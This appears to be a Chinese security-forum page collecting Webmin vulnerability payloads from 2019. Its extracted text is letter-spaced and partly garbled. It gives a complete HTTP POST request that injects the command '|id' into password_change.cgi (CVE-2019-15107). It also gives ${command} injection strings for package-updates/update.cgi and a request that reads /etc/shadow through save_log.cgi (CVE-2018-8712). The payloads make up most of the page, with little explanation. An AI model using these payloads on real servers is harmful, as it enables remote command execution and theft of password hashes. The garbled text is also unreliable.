[18884] 2019-08-20_webmin漏洞合集

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-18
2019-08-20_webmin漏洞合集 w e b m i n c r h u a   h u a s e c   2 0 1 9 - 0 8 - 2 0 0 1 W e b m i n W E B U n i x L i n u x 0 2 1 C V E _ 2 0 1 9 _ 1 5 1 0 7 W e b m i n P a s s w o r d _ C h a n g e . c g i o l d p a s s w d _ m o d e p a y l o a d : h t t p s : / / i p : 1 0 0 0 0 / w e b m i n / e d i t _ s e s s i o n . c g i x n a v i g a t i o n   =   1 # c a t   / e t c / w e b m i n / m i n i s e r v . c o n f . . . p a s s w d _ m o d e   =   2 . . . P O S T   / p a s s w o r d _ c h a n g e . c g i   H T T P / 1 . 1 H o s t :   y o u r - i p : 1 0 0 0 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o o k i e :   r e d i r e c t = 1 ;   t e s t i n g = 1 ;   s i d = x ;   s e s s i o n t e s t = 1 R e f e r e r :   h t t p s : / / y o u r - i p : 1 0 0 0 0 / s e s s i o n _ l o g i n . c g i C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   6 0 u s e r = r o o t x x & p a m = & e x p i r e d = 2 & o l d = t e s t | i d & n e w 1 = t e s t 2 & n e w 2 = t e s t 2
2 p a y l o a d :   | h t t p s : / / u r l / p a c k a g e - u p d a t e s / u p d a t e . c g i P O S T : m o d e = u p d a t e s & s e a r c h = & u = a p t / a p t & u = ; $ { c o m m a n d } ; / a p t & o k _ t o p = U p d a t e + S e l e c t e d + P a c k a g e s h t t p s : / / u r l / p a c k a g e - u p d a t e s / u p d a t e . c g i P O S T : m o d e = n e w & s e a r c h = & u = ; $ { c o m m a n d } ; / a p t & o k _ t o p = U p d a t e + S e l e c t e d + P a c k a g e s
3 ( C V E - 2 0 1 8 - 8 7 1 2 ) W e b m i n 1 . 8 4 0 1 . 8 8 0 ,   p a y l o a d : / s y s l o g / s a v e _ l o g . c g i ? v i e w = 1 & f i l e = / e t c / s h a d o w
h t t p s : / / x z . a l i y u n . c o m / t / 6 0 4 0 h t t p s : / / s e c f a . o r g / ? p = 1 7 h t t p s : / / w w w . 7 e l e m e n t s . c o . u k / r e s o u r c e s / t e c h n i c a l - a d v i s o r i e s / w e b m i n - 1 - 8 4 0 - 1 - 8 8 0 - u n r e s t r i c t e d - a c c e s s - a r b i t r a r y - f i l e s - u s i n g - l o c a l - f i l e - i n c l u d e /
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则